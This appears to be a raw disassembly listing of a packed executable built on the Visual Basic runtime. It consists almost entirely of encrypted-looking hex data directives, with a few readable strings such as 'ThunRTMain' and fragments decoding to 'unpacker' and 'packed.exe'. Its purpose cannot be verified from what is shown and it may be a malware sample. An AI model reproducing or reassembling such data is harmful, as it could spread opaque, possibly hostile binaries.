		dd 0CD7A37F0h, 0D9517974h, 0F43AC880h, 0D68DF116h, 0C279DCEFh
		dd 123EA3E4h, 0F2ED4641h, 0C880D9C8h, 6A8F6DB3h, 0EA12AA08h
		dd 1A6A1D96h, 86E82BFAh, 3DA4DE44h, 89466686h, 319h, 0C27D7800h
		dd 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h,	18D58CF1h
		dd 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h,	4EC8181h
		dd 89000000h, 0E2892414h, 4C281h
		dd 0EA830000h, 24148704h, 0E689565Ch, 4C681h, 0EE830000h
		dd 24348704h, 240C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 0C4682434h, 89000077h, 5D68242Ch,	5D7B4664h
		dd 7714F581h, 0E9897EA9h, 1597685Dh, 24890000h,	24048324h
		dd 52515E04h, 0BB5AEABAh, 24543173h, 468F5A04h,	8768108h
		dd 73BB5AEAh, 5E2434FFh, 4C481h, 34FF0000h, 0C4815924h
		dd 4, 0FB2700E9h, 0E3DDFFFh, 162CFF0h, 0B8A6A684h, 5EF2290h
		dd 0E0FFC503h, 7AE120F9h, 56B1CE4Ah, 0AD98255h,	5A917D65h
		dd 7B96743Ch, 424804EBh, 83E940EEh, 6C000005h, 2E8052Ch
		dd 947A97C6h, 250B2857h, 0B49AB7EAh, 2A2E4B76h,	99C402B8h
		dd 2E55967Ch, 0C1EC2B11h, 5184BEA4h, 0D8866734h, 13263996h
		dd 0C2E1BF18h, 63275588h, 0F7DDFA25h, 985C8ABDh, 39FD2B5Eh
		dd 92A0CEFDh, 2857066Fh, 9A376BE6h, 4CCF8050h, 85049F39h
		dd 195339D6h, 0C29CC9E6h, 0D1B75487h, 1D4A6792h, 0A4E10243h
		dd 1B7D4775h, 0A08623EDh, 44083661h, 5F39DC03h,	9F57F423h
		dd 2C3144BBh, 0BBE91452h, 2F6E54F1h, 0A95115C3h, 0E75D16C9h
		dd 48826885h, 0BBDCE715h, 0C9A9490Dh, 42DF5516h, 0C9A9BB88h
		dd 99DCFB16h, 0CF644E12h, 97275640h, 0B8252698h, 5B0526C3h
		dd 0CB000000h, 275588C2h, 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch
		dd 16C40h, 0C2320000h, 1E295786h, 1A0F4FFDh, 0CA8F16C9h
		dd 7DA9F658h, 1CB91B6Eh, 9DCBFA36h, 557AB892h, 0F4BEEC17h
		dd 0FD9A6492h, 7BA9DC17h, 3B78526Dh, 0D3C874BDh, 0EB4DE10Fh
		dd 2156F3BDh, 0E5145054h, 75A8E2C8h, 84C22A58h,	0A1DCB659h
		dd 1A3F7F2Dh, 49BF16C9h, 0B6F5B9E7h, 31935D8Bh,	0CB689BD5h
		dd 39E70813h, 16C91A75h, 80660379h, 0F7E71544h,	598CC6A0h
		dd 8FC4612Bh, 5B80BEE6h, 5E75A41Ah, 6634C6C8h, 9F85A204h
		dd 0F9043265h, 1AB7DE1Fh, 93CEF734h, 6683260h, 0D6809D8h
		dd 0DEE02150h, 0CA3AD02Fh, 26924E2Dh, 81A240CFh, 0C9F393D3h
		dd 8A51B16h, 8BE7h, 84C2AD00h, 0FF202B59h, 0C91A0D51h
		dd 7E1B9116h, 0C3DD5B98h, 0C404AA9h, 9C608EF0h,	4105335Eh
		dd 0E7ABD900h, 854F7DA8h, 0A8F67F1Ch, 0E96DF02h, 0A288A5D0h
		dd 470B3964h, 0DCABD90Ch, 0BF713A3Bh, 0D140CFDEh, 74h
		dd 5984C297h, 0FD28672Bh, 0A1CC0BCFh, 0F4BA6873h, 0FA16C91Ah
		dd 0BCEB2884h, 5E8DCA8Eh, 0BEE095B8h, 984667AEh, 16C91AD6h
		dd 11BF62D8h, 16C91A4Dh, 93EDB51h, 0D5FA386Ch, 0CF32189Ah
		dd 0DD453F8Bh, 0CEFC197Bh, 235D86C2h, 0C8608EF0h, 16C91AFBh
		dd 6F9DC807h, 15436AABh, 0BBE91051h, 8AEB88F1h,	0FBD5EC14h
		dd 0C0F592BDh, 0D72AF6B5h, 14640CFh, 0C000000h,	3762A17Bh
		dd 0BCA23F09h, 5E22507Fh, 0DFC3F124h, 5A970D68h, 0B2E10E2Bh
		dd 0D2313B80h, 0DA13B092h, 0ABDE1882h, 0AE51B37Dh, 386699D4h
		dd 0F6A4D16Eh, 1C31636Dh, 0EAF52399h, 74A2D510h, 0ED270DAAh
		dd 7DB79DBAh, 0C0841C4Ah, 0C61320A9h, 6A2E5C87h, 59D1FF2Eh
		dd 23336B0Ah, 490DBBDCh, 551320A9h, 453F2EDFh, 0B66A068Eh
		dd 1391E419h, 0A389A6D9h, 64933669h, 0D8199B71h, 1A1000B1h
		dd 7337EF8Ch, 14D80639h, 4271AED7h, 0BAE84A14h,	5D8BBAF6h
		dd 37670E6Dh, 7F2550AFh, 956F1245h, 30FA285Bh, 430DEC93h
		dd 5D45268Bh, 151h, 0A7176F23h,	9FD5604h, 0B3291C32h, 5FA07A85h
		dd 8F400A38h, 2AECA481h, 0C7AD4A09h, 88B75A8Dh,	0A03CB1E1h
		dd 30D7748Ah, 0AFDD104Ah, 507EB1EBh, 0F4224D8Ch, 95C3F630h
		dd 8D116487h, 0D5CFA605h, 6C4B689Bh, 452659A4h,	42BCh
		dd 186F8200h, 8E203A6h,	3863A2CBh, 41DE400Ah, 0C9191787h
		dd 73A11716h, 0C91A9BDBh, 4E7D1216h, 0DC8A04ADh, 16C9279Ah
		dd 7EFDAE24h, 4A7F1CB8h, 5DCF262Bh, 0E59A0CBAh,	2EA416C9h
		dd 0C33311h, 6F730000h,	4170AD17h, 4977AAE5h, 0CC7A1D7Fh
		dd 1C321ECFh, 0BAE122FCh, 0D6843B1Dh, 13201690h, 5705A81Eh
		dd 13201617h, 91BF2197h, 436093CDh, 4DF0235Dh, 6D0A3573h
		dd 16E61DB5h, 25741320h, 0ED1A5450h, 4C5785ACh,	2016D89Eh
		dd 0E70E613h, 3AE809ACh, 13201674h, 0C067047Ah,	1CBF2F87h
		dd 0DAFAE16Eh, 0C9F76D19h, 54738FBEh, 86E6D0DAh, 20EA184Bh
		dd 13B21BEh, 17512BCEh,	0CB8F47E4h, 7135638Ah, 0CBD90732h
		dd 55D1CDA8h, 0C787B7E6h, 0EC0B2C36h, 0DEDB9B49h, 6DE316CFh
		dd 77DA9BD0h, 0FEC06E1Fh, 0A716CFDEh, 13B1041Ah, 2399F115h
		dd 0E7701EC1h, 671C3555h, 7F2D4EF1h, 13209A3Fh,	5AC49BFh
		dd 0A7176FD7h, 0F6D95604h, 0EF651C33h, 0CD3A1D4Ch, 0AB39ED91h
		dd 5892560Eh, 4930F0D6h, 46685C8h, 9AC701E7h, 7F3FED5Dh
		dd 7F1326B5h, 0AF79A709h, 0C1871F4Dh, 7BDE2590h, 4D871D58h
		dd 0DD17FD1Ah, 7DB87CAAh, 0C9381C4Ah, 9846AEEFh, 5627DED6h
		dd 0D20062D8h, 3F366B08h, 55F82B65h, 0B9976026h, 0AD090B0Bh
		dd 48124073h, 0B6D704ABh, 27FF4608h, 35D24856h,	0B4E2154Fh
		dd 3F8h, 33A13800h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh
		dd 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh,	4775A4E0h
		dd 4EC8386h, 89240C89h,	4C181E1h, 83000000h, 0C8704E9h
		dd 89505C24h, 405E0h, 0E8830000h, 24048704h, 2414895Ch
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 5153240Ch
		dd 866429B9h, 59CB8903h, 6EECC381h, 0DBF70B11h,	0EB81D3F7h
		dd 79F56205h, 0B247C381h, 0DA89714Ch, 4EC815Bh,	89000000h
		dd 4832424h, 55590424h,	0BA52D589h, 8, 2A89CA01h, 0C8B5D5Ah
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5A2434FFh, 0E904C483h
		dd 0FFFA571Fh, 3CB8D60Ch, 305EF28h, 0AAE0FFC5h,	6D167F3Fh
		dd 7E60179Ah, 0AD777C1Eh, 0A319BE5Eh, 801C4583h, 0DE500FC2h
		dd 0EC325B67h, 6D06B2FFh, 0A07DBB10h, 777FA6C0h, 1447ED6Eh
		dd 784F842Ah, 0D424668Dh, 6C359375h, 511BE559h,	0D4078ACh
		dd 4E0AD181h, 1F21650Eh, 9412C47Ch, 527EC7A2h, 8F2D3527h
		dd 9F68F560h, 3C57EA19h, 8003508Ah, 0B178ABEDh,	0D63DDA08h
		dd 0E903DD7Ah, 15Ch, 77E705C5h,	6D5C3A43h, 706E755Fh, 656B6361h
		dd 61700072h, 64656B63h, 6578652Eh, 3Bh	dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 5478AC23h, 1C7BE9h, 2CBA6800h, 38E905EFh, 68FFFA55h
		dd 5EF2D90h, 0FA552EE9h, 2ED368FFh, 24E905EFh, 68FFFA55h
		dd 5EF2FB2h, 0FA551AE9h, 2FF168FFh, 10E905EFh, 68FFFA55h
		dd 5EF310Bh, 0FA5506E9h, 317368FFh, 0FCE905EFh,	68FFFA54h
		dd 5EF31CFh, 0FA54F2E9h, 38A768FFh, 0E8E905EFh,	68FFFA54h
		dd 5EF3922h, 0FA54DEE9h, 39E568FFh, 0D4E905EFh,	68FFFA54h
		dd 5EF3AF6h, 0FA54CAE9h, 3B5A68FFh, 0C0E905EFh,	68FFFA54h
		dd 5EF3C48h, 0FA54B6E9h, 3D1C68FFh, 0ACE905EFh,	68FFFA54h
		dd 5EF3DC7h, 0FA54A2E9h, 441068FFh, 98E905EFh, 68FFFA54h
		dd 5EF450Ah, 0FA548EE9h, 45A568FFh, 84E905EFh, 50FFFA54h
		dd 0E6CCE910h, 785E7BAAh, 9EF0C3Bh, 987E9BCEh, 0E122F5Ah
		dd 75A0DED4h, 0A317258h, 9DC807EDh, 2D609A80h, 0B4624310h
		dd 132631F2h, 0ECC6A3FCh, 0B3E17EB1h, 275588C2h, 0D407421Ch
		dd 593FDCA6h, 0A2CFEC1Fh, 0ECB26081h, 0F216C91Ah, 1A0A4C7Ch
		dd 1E9416C9h, 80F04881h, 23A62FDDh, 32A81C32h, 0DE1FF904h
		dd 62601AB7h, 9513200Ch, 0ADDC81F4h, 0BC21C08Ah, 0DEBD5AC2h
		dd 45269732h, 332Eh, 176FF400h,	4D5604A7h, 0B91C3229h
		dd 2A291BF4h, 0E44271E3h, 77D3844Fh, 85B315E1h,	2031D5EDh
		dd 0F4812213h, 23528F69h, 0FCF9A786h, 0D7F74526h, 0BD000000h
		dd 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h, 7410533h
		dd 0A8E2A6D4h, 109E5875h, 1A16C915h, 0AA90ADE0h, 40F3D70h
		dd 1E7135E3h, 0D7D16C9h, 0A23FA1D0h, 0FEA11169h, 31F3FB50h
		dd 21CFF01Ch, 13203D5Dh, 6C4EEB61h, 6593BEFCh, 0E31C399Bh
		dd 0DD75CC8Bh, 51640BD8h, 35724CEFh, 710ED806h,	0B492344h
		dd 4BE8B2E0h, 0C6468D91h, 781B9119h, 1835609Eh,	6788F432h
		dd 0CB76F5B9h, 5383F916h, 16CB7613h, 92C3259Bh,	6F7270F8h
		dd 0CB934F47h, 8000019h, 9E84A1C8h, 30163362h, 0C1A7C4F3h
		dd 50365386h, 0C6CAE712h, 2D58961Ch, 0C2E92A10h, 5580BFA5h
		dd 0E5185238h, 6C1AFBC8h, 1326362Ah, 0C27D5BB4h, 0F6215F84h
		dd 9AC504C8h, 0DE40A26Ch, 6EA1DBC1h, 176F2351h,	4D5604A7h
		dd 0B91C3229h, 5E7FA043h, 200BEEB0h, 4A7AF013h,	13200B04h
		dd 0C371148Ah, 13200B83h, 40F8950Bh, 200B9AA8h,	393CDD13h
		dd 26C6AE72h, 0A3C245h,	0C2880000h, 63275588h, 34CCFA25h
		dd 16C915BAh, 365386C0h, 57941650h, 4A58A61Ch, 0A5B0DE40h
		dd 2B8A6776h, 0C690BEF1h, 0C68B0015h, 2898F029h, 3362D785h
		dd 3EB41C31h, 2090E821h, 627CCF7Dh, 50C619C6h, 6699D3ADh
		dd 84C29CC9h, 18563C59h, 8B28BCEDh, 2F276F72h, 18F573h
		dd 0CBF23200h, 5D8CC8AEh, 0EE1D5A40h, 7DB0EBD1h, 113C7A60h
		dd 0C8F2F0F4h, 5C425F8Ah, 0F1D7F41Bh, 846A87B2h, 2DFA174Ah
		dd 37D89E4Ch, 8DE61326h, 5984C2AFh, 0E91C563Ch,	86C59FCCh
		dd 0D6BC770Ch, 75D7CEB1h, 11AEDD19h, 1488C2E3h,	0C91A2066h
		dd 9538AE16h, 0C91AA7E7h, 4FB12716h, 0F0235D21h, 0A777A6D3h
		dd 0C8C2968Fh, 5CB4ED8Ah, 0BA9B49ECh, 41C3211h,	7B55608Eh
		dd 0BC76133Ah, 13201F86h, 6290BFFCh, 8365D9Eh, 82DB9A37h
		dd 201F92D4h, 44A61C13h, 2D6A44DDh, 0AA06D0FEh,	4812406Bh
		dd 0ACFF76ABh, 4526D6E4h, 8762C1F0h, 49C84BB1h,	0E98BACh
		dd 84510000h, 0F5340E41h, 9BD89CCAh, 12743E6Ch,	33E43C75h
		dd 0C91AC185h, 0F557CD16h, 1C43A452h, 158B1C32h, 0EBCDDE6h
		dd 13201448h, 8943E056h, 4EB77D97h, 0CD357650h,	0BAB35F1Fh
		dd 87E95FC7h, 28DE8F59h, 0EEE21EEh, 5EB6EF8Ch, 609D4BEEh
		dd 0AECD41A4h, 9BF30A38h, 8D67882Bh, 0C6702150h, 0CAEF67D9h
		dd 5F36F08Dh, 58C8AF7Eh, 4EC58937h, 53C9C7BFh, 0BB5ED4B6h
		dd 3B7AA7E1h, 0B618E210h, 4679B399h, 0FE892F15h, 4A06FE9Dh
		dd 17B2h, 6B88AFEFh, 0FD1A4985h, 8EABDA17h, 1D3A6DA8h
		dd 0B1CEF937h, 3F7D35ADh, 0D011F714h, 67A68CA9h, 0FF391F3Ch
		dd 1E2AFCCh, 26341353h,	64429B13h, 275588C2h, 8B01421Ch
		dd 0DA89483Ah, 0E816786Ch, 0F048811Eh, 0C403DD80h, 69A76B99h
		dd 0E446103Eh, 4B6C1A47h, 931C32B9h, 7BD2001Dh,	44F266A1h
		dd 16C91A02h, 86B4168Ch, 0CAFB1FBCh, 456CAD87h,	77B04D17h
		dd 0FEC06E1Fh, 16C91Ah,	0D785288Ah, 1C321C36h, 3DD30278h
		dd 9819DECFh, 0BBFA64BCh, 36986290h, 5178B993h,	2CD987B4h
		dd 729EF3D8h, 437F59FCh, 0E422E614h, 2BA57B9h, 0B3DE1DF7h
		dd 0E51EBB85h, 0CC7A1D8Dh, 9B1DBAA5h, 0C68836EDh, 0C8940D8Ah
		dd 88BBF652h, 8B2E905Ah, 274477B1h, 0A3D40741h,	0ECB04CA3h
		dd 0D3DE9A92h, 10000016h, 0A68CA9D0h, 381E3B6Ah, 0C9AFCCFBh
		dd 583E5B8Eh, 0CED2EF1Ah, 35609E14h, 0CAF13218h, 5D88C7ADh
		dd 0ED205A40h, 742203D0h, 13263532h, 0C28563BCh, 32245588h
		dd 216F74DDh, 16946D29h, 91D10000h, 2B674D6Ah, 0BCF9DFFCh
		dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
		dd 9265190h, 99B6E923h,	793DEBCCh, 85132635h, 88C24E2Ch
		dd 7091B255h, 0C91AFCC2h, 5C8C0216h, 16C91A1Ah,	7F3FEDA4h
		dd 7F16C91Ah, 520AA709h, 0D073E33Bh, 1ABD01AFh,	0D7E816C9h
		dd 3FDE6638h, 3FA166BEh, 4A8E8E34h, 22FCC2Eh, 311AAF54h
		dd 2A67D71Ch, 0CB09CDFBh, 0A8E23EA0h, 0D2F61375h, 1D8DE502h
		dd 0DE1C4B7Ah, 0A647F4EFh, 0C48B75F5h, 99363116h, 6F59BE6Ch
		dd 2FA519DBh, 0ECF66A00h, 57318370h, 0F8469E18h, 9BD1F1C7h
		dd 90410B39h, 560A5FA3h, 306906A2h, 357927D8h, 0B58A6197h
		dd 7AF0487Bh, 72467518h, 93B4CBACh, 6E1C49E6h, 809AB891h
		dd 0B2C6DDDh, 0DE40A2CDh, 824199B0h, 3E7D56D9h,	0D62C6213h
		dd 1894AFDh, 0F658B9BAh, 0D032599Ah, 0F8320C2Dh, 30CD97C5h
		dd 742F1F76h, 4AED6385h, 60033670h, 7F1C4786h, 85B8F2D8h
		dd 0C7D88854h, 23DFD7D2h, 157Ah, 335077B7h, 0C5E2114Dh
		dd 5673A2DFh, 0E5023570h, 7996C1FFh, 7456D75h, 98D9BFDCh
		dd 2F6E5471h, 0C701E704h, 0C9AA7794h, 262B5B1Bh, 2C0A6313h
		dd 3564A17Bh, 0E6A03D07h, 16C91AA0h, 0C92A6C56h, 3A80C216h
		dd 8CBB16C9h, 0D2FCF6A9h, 5B8EC82Ch, 6401632Dh,	0C99F98AAh
		dd 7DB0EA16h, 74586E4Ch, 29E5DD6Fh, 1512h, 0CBE80F4Fh
		dd 5D7AA9E5h, 0EE0B3A77h, 7D9ACD08h, 112E5997h,	9FDDD50Dh
		dd 30715774h, 0C706EC09h, 5F997F9Ch, 61420F2Ch,	262BF3B3h
		dd 0C4A2FB13h, 4A7176Fh, 1A7135E3h, 77D16C9h, 0A3406FABh
		dd 99FC876h, 681F1C32h,	202BF4BAh, 2284FA13h, 8BAC19F1h
		dd 78342C69h, 14B6h, 6F8CB3F3h,	11E4D89h, 92AFDE1Bh, 213E71ACh
		dd 0B5D2FD3Bh, 4B8931B1h, 0DC1D0320h, 73B298B5h, 0B452B48h
		dd 0DEEBBD8h, 262B1F5Fh, 68469F13h, 275588C2h, 0C8F62963h
		dd 4F5C1938h, 40CFD381h, 369Fh,	0D4EE6500h, 0E716C91Ah
		dd 6BA5D20Dh, 0E4A8D638h, 7A1779A8h, 0F12D5A94h, 0FD5F8AC8h
		dd 86A305CFh, 0A045E8CCh, 0AB852816h, 0DD0C496Ah, 0E683E5AFh
		dd 143C722Eh, 0C2B20000h, 1C275588h, 5F8ECCFBh,	19C5B5Fh
		dd 0C9CD8DD1h, 0FE9B1116h, 5AFD6DC5h, 32C9B3ACh, 104BBB1Ch
		dd 0F6A4AFDDh, 1320C1B0h, 0A66C83Eh, 1D3A9CCFh,	791C8CE4h
		dd 9936619Fh, 0F6D9BE6Ch, 0B52519DBh, 42E5477Ah, 47AD2B68h
		dd 1C77E6F7h, 5E16B315h, 39742453h, 87CBE9C9h, 98C704EAh
		dd 7F80C17Bh
		dd 0E1BB16C9h, 0F6DC79A0h, 886E8BBAh, 2BEF1D4Ch, 431DC0EFh
		dd 823AD706h, 1B423392h, 0A7D50441h, 1E5A40DDh,	2DF3D2EFh
		dd 3740CFB2h, 2128CC08h, 0B869618Bh, 98E61F57h,	426300ECh
		dd 200h, 0C2F52F09h, 4C7BF725h,	0DC836BA2h, 0A8E17EADh
		dd 1C3DE050h, 0E890342h, 0EA6E5D96h, 732DCA2Ch,	1C324F1Eh
		dd 552FD248h, 0EFB9E71Ah, 9AD69A52h, 2C684E6Bh,	572B5AFDh
		dd 10560482h, 9E1320BFh, 80D97728h, 636E26C3h, 0F01E4D89h
		dd 0F3CF8926h, 0F132029h, 0B276A4D3h, 28184675h, 0E2F2ACC9h
		dd 4C7BE293h, 77A25343h, 927815A3h, 0D10A2756h,	8C660979h
		dd 6F2FDD51h, 6F1320EFh, 0CDFA97F9h, 99DD8BACh,	0DA1320EFh
		dd 20EF6A2Ch, 0A6FE7413h, 3CD99330h, 8219DBD5h,	0DC1ADE0Ch
		dd 8D6794B1h, 0A288254Ch, 730B3964h, 16C9E531h,	19477AB5h
		dd 8CE81B55h, 0DDF6244Bh, 42F67E17h, 57CE4A24h,	2170801Eh
		dd 0A6125054h, 0C988B6F8h, 5C9CDF16h, 0BA57C06Fh, 6D8AEC62h
		dd 0EE1C4B87h, 91BFEE2Ah, 33704AA1h, 6F0CD604h,	2D693B3Ah
		dd 5E02E1FEh, 5240CF76h, 3Eh, 5984C218h, 0BD29672Bh, 0C91A4F0Fh
		dd 77D94F16h, 1D448549h, 0C3EA2BEFh, 11648795h,	0CFA6058Dh
		dd 7D2B97D5h, 16C91A39h, 0D0ED4FC5h, 608BC9A3h,	0ECCB6832h
		dd 40CFD724h, 0CB3Ch, 176F0200h, 0FD5604A7h, 291C3209h
		dd 85C185B3h, 4FF21D5Ch, 202BDDA1h, 96BE113h, 85164566h
		dd 4329F49Eh, 0B77B3B6Bh, 0D831320h, 0A7E3C970h, 103F4A78h
		dd 4A60A30Dh, 7BB6127Eh, 89C5AB48h, 0DD3C2C5Ah,	0A1D00C98h
		dd 3E7D5784h, 7E1BE513h, 266EF19Fh, 6CEF45h, 7BB50000h
		dd 53366A1h, 10659E3Bh,	0D549F79Ah, 5916C919h, 89AAB5E3h
		dd 0C830795Ah, 0F020767Ch, 16C9D8AEh, 3BD56B30h, 92C8378h
		dd 72500AA7h, 7016C91Ch, 7E17CF9h, 0C4FD9ACDh, 7C56F96Fh
		dd 44710E41h, 0D25DF423h, 4E732EF0h, 1FE5A89Dh,	7C191343h
		dd 0C9BD2CC2h, 9B6D3216h, 0F44FB2C5h, 0F0CEEB4Dh, 0Ch
		dd 0E91C5731h, 43CA1E4Ch, 0A000000h, 1D5C85C2h,	98FAC4F2h
		dd 416AA66Ah, 0E0AAD803h, 3F7B617Eh, 7BA9DC16h,	0A214FB1h
		dd 7A1240B4h, 6643CB8Bh, 114D27C0h, 4DEAB4E2h, 0D1005D18h
		dd 6D8020B1h, 0B3922F32h, 0BF30A2EDh, 0BD603h, 196FC900h
		dd 0EA2802A5h, 2AC791BFh, 6AFDA72h, 43E49070h, 0C6FC2B32h
		dd 0DCD2870Fh, 54FCDB78h, 4CC96485h, 40h, 0A5196F12h, 0E0B2E102h
		dd 41C751C7h, 682EE885h, 2B16C961h, 9710B6FCh, 8F2C2A6Eh
		dd 0BB04E8ADh, 51A58319h, 8329C1EFh, 0B8AFB752h, 25FF5E17h
		dd 0BF89B7EAh, 959D4322h, 5793E9BCh, 59000002h,	0F860A17Bh
		dd 0C91A044Ah, 0B2148A16h, 0E41DBA84h, 0FA761A8Eh, 5588C2DAh
		dd 804C7BB1h, 0DC6B65F5h, 0B1BB7411h, 3366A17Bh, 0BF9E3B05h
		dd 43CFCB01h, 561Fh, 20B7E600h,	774C9B4Dh, 0D7A25D0Eh
		dd 8904EBA9h, 196FBEECh, 0CD7B01A5h, 16C91AF4h,	82B1EDC7h
		dd 0EA8D03E5h, 1A5B1BC9h, 0ED6316C9h, 0FA285391h, 7B659330h
		dd 1443805Ah, 0A17B4977h, 0B3993665h, 9DA34776h, 0F2215E38h
		dd 95C400C4h, 9E3B9D67h, 27CA70h, 6F0A0000h, 7B01A519h
		dd 1AEAAC5Ah, 7EF416C9h, 0B993B4E1h, 541E4C7Fh,	1AC4FDB7h
		dd 0D53916C9h, 0C2597B31h, 9DB25685h, 4AFEEE37h, 18391A9Eh
		dd 9C6A246Ah, 0B6E5AA12h, 994E8566h, 7ED8AECh, 9B819EC9h
		dd 0C7FA3461h, 496DCF99h, 65083371h, 0D1E87836h, 6FAEFEEAh
		dd 913FE244h, 129C20CDh, 10BE5BD1h, 7B294C6Dh, 0A7DA1441h
		dd 8AC8A245h, 480EBC5Fh, 56129C20h, 0C88A43E0h,	21375B8Eh
		dd 0D0F73864h, 0A5E997A2h, 29129C20h, 0EE1957B3h, 1065DCC0h
		dd 0E095188Eh, 68168AC4h, 129C2026h, 0A1D032A8h, 3B78A5DFh
		dd 25D3DE0Ch, 129C2061h, 3395F76Dh, 0F9370Fh, 129C20C3h
		dd 6A9CD43h, 0DA1490E5h, 78B678A7h, 89E51853h, 8DBB1D4Ch
		dd 9FC8038Bh, 6590CED6h, 7FAAE8C2h, 1B553BE2h, 0AEECC4E8h
		dd 9C208CB5h, 6084FA12h, 43611445h, 0E5A7D609h,	3E5478ABh
		dd 0FF766F44h, 9386BA5h, 0B6DA0D47h, 5175A0DEh,	75E88DAEh
		dd 0EC921D46h, 30CDF8AFh, 0AEDD104Ah, 66A17BA4h, 76B09633h
		dd 0DAFA9F43h, 0A41A6Fh, 17C9E5EFh, 1D43CFCBh, 3EDB0243h
		dd 421Dh, 52B5E400h, 0DF53E942h, 6F76A441h, 7B00A41Ah
		dd 2461C14Ch, 0FE9B9FF9h, 0C31E23D1h, 0F26816C9h, 0C2597B4Eh
		dd 0F41F5D86h, 379DEE92h, 3467A17Bh, 0C19F3C06h, 52h, 7333E102h
		dd 7B16C91Ah, 6F3A6805h, 0AC40551Ah, 0D110FB7h,	5A7B07ABh
		dd 18D0B52Bh, 0A3DFDB33h, 1A7C4674h, 0EFEC37Dh,	0E3BD16C9h
		dd 0F1DC79A4h, 0A17BE98Dh, 400A3863h, 7B5576A3h, 4775123Dh
		dd 225D86C2h, 0BBEA8DEFh, 4B2E779Fh, 6694310Fh,	96EE379Dh
		dd 0D216C91Ch, 0FFFD457Eh, 0A17BBEFFh, 747F565h, 8716C91Ah
		dd 0B781AF11h, 1A62601Ah, 7F5916C9h, 3E771443h,	715774E8h
		dd 3FD70534h, 16C91A7Fh, 1391E45Bh, 0A48AA7D6h,	0E31C3968h
		dd 0B0E31E8Eh, 0F88204Eh, 0D89B66h, 6D47165Fh, 0CCD7052Ch
		dd 9F49581Eh, 8EF06654h, 804E12F1h, 1C620299h, 28000002h
		dd 3762A17Bh, 0E50FE09h, 9016C91Ah, 611BB81Ah, 16C91A60h
		dd 0E487F74Fh, 7EADE9C3h, 2E8627E1h, 52C81C32h,	0E3124F35h
		dd 95D0AAB5h, 0A3DFC562h, 328D9B25h, 84E67A26h,	0E6569256h
		dd 20A77638h, 3F7F2D13h, 0BF1320A7h, 197BF149h,	0C7CD4EBh
		dd 42E6BB69h, 0AA2019D8h, 74464F79h, 0EAA69E6Fh, 0DDEh
		dd 97B4DB1Bh, 294675B1h, 0BAD70643h, 496699D4h,	0DDFA2563h
		dd 73B109D9h, 4452B48h,	9BDAC0DDh, 336D5370h, 3516E300h
		dd 2622C787h, 906EC713h, 3863A17Bh, 0BDA3400Ah,	17225083h
		dd 0A7D5FC3Dh, 427AEB8Eh, 84E64F46h, 0E656AEE7h, 0E8439543h
		dd 0D1471C34h, 0E817542Eh, 79A8E5CBh, 1A4D874Bh, 0D7DD5ECh
		dd 0CABBBC6Ah, 53C319DDh, 5384E619h, 6F6DEC2Fh,	63CA867Eh
		dd 0A000000Dh, 361C3960h, 0C8AECBFAh, 593F5C8Bh, 0E8CEEB1Eh
		dd 5E627FAAh, 0C5F02E84h, 5A81C2A8h, 0ED18573Dh, 7DB0EAD0h
		dd 4B29360h, 13262342h,	7B15F34Ch, 1AEAAC5Ah, 7EF416C9h
		dd 8EC1FBE1h, 32F14960h, 6DA5A714h, 6A90B20h, 32C2F358h
		dd 0B0CD431Ch, 3F6AA983h, 0C4AA4711h, 0DAB4578Ah, 29D06DA0h
		dd 49D998F0h, 0A3CE0D9Eh, 8FAAB75h, 83268823h, 0DD0D08D5h
		dd 471C4B19h, 22EDC607h, 0FCABE3Ch, 9BFDE65Fh, 3A61CFEh
		dd 9FCA08E2h, 3777A771h, 0B716CF35h, 9D77A441h,	0CCFB3760h
		dd 0ACEDC76Ah, 5B41E885h, 0FDC1EF1Eh, 4B6290C3h, 32E083F3h
		dd 1C34272Dh, 548ABB31h, 0B36985BEh, 0CA0FFBBh,	9DDD0000h
		dd 37735976h, 0C805EB08h, 5B967C99h, 0E7250B28h, 479B9FBCh
		dd 0E5022D6Bh, 7A97BEFFh, 0D2A5594h, 9DBAED27h,	7D41EFD0h
		dd 81132623h, 88C24A28h, 0FB1C2755h, 0C91A094Dh, 0C31F9516h
		dd 81BA5786h, 0A1B66A29h, 0D9B63397h, 5B3D477h,	16C99A41h
		dd 0D3AD74Dh, 3293A25Fh, 516EE41Ch, 0E3002F6Bh,	5D97C0FDh
		dd 61C3F630h, 64076933h, 9DD19543h, 67DD1320h, 7BF523CAh
		dd 6896854Ch, 2E6DCC05h, 0CB04A103h, 0B2600373h, 1C320F09h
		dd 11A9D74Dh, 13202F31h, 0BBE91051h, 608EB9F7h,	0CCFF3A96h
		dd 4530CD9Eh, 2451F259h, 26E2D987h, 0B2F1CB45h,	0F28F5987h
		dd 90D1h, 86C29700h, 0FD1E2957h, 0C91A0F4Fh
		dd 1E518B16h, 0EE1556C6h, 1066DB8Ch, 0FEF898E5h, 103F7B61h
		dd 2558936Dh, 2F92D482h, 0A61C16C9h, 528D5109h,	0F12DF11Fh
		dd 146CA5C2h, 0ED2701A4h, 89C88CBAh, 325FFC5Eh,	31CC7384h
		dd 1445BB1Ch, 698BC804h, 8F9F5B53h, 0CC00000Bh,	6248658Ch
		dd 0F4DAF726h, 856B88B7h, 14FA174Ah, 8A8EABD6h,	0F9246258h
		dd 8EB5F6DCh, 214C8B71h, 0B1E41E04h, 38E6C794h,	13262076h
		dd 0C2411F78h, 5C3A5786h, 5Bh, 5786C29Ch, 0A1E593B4h, 2D16C91Ah
		dd 4B621AB7h, 1F4A89F3h, 22C527F1h, 31FF2F74h, 0B0E1571Ch
		dd 698BB0AEh, 2BF1ADA5h, 6800000Bh, 0FEE40128h,	907693C2h
		dd 21072453h, 0B096B3E6h, 262A4772h, 8DB8F6BCh,	22498A70h
		dd 0B5E01F05h, 4578B298h, 0CC7A5B28h, 1326218Ah, 0C2DDBB14h
		dd 63275588h, 7953F629h, 0B9710E3Dh, 0F26B0A29h, 12AFDA18h
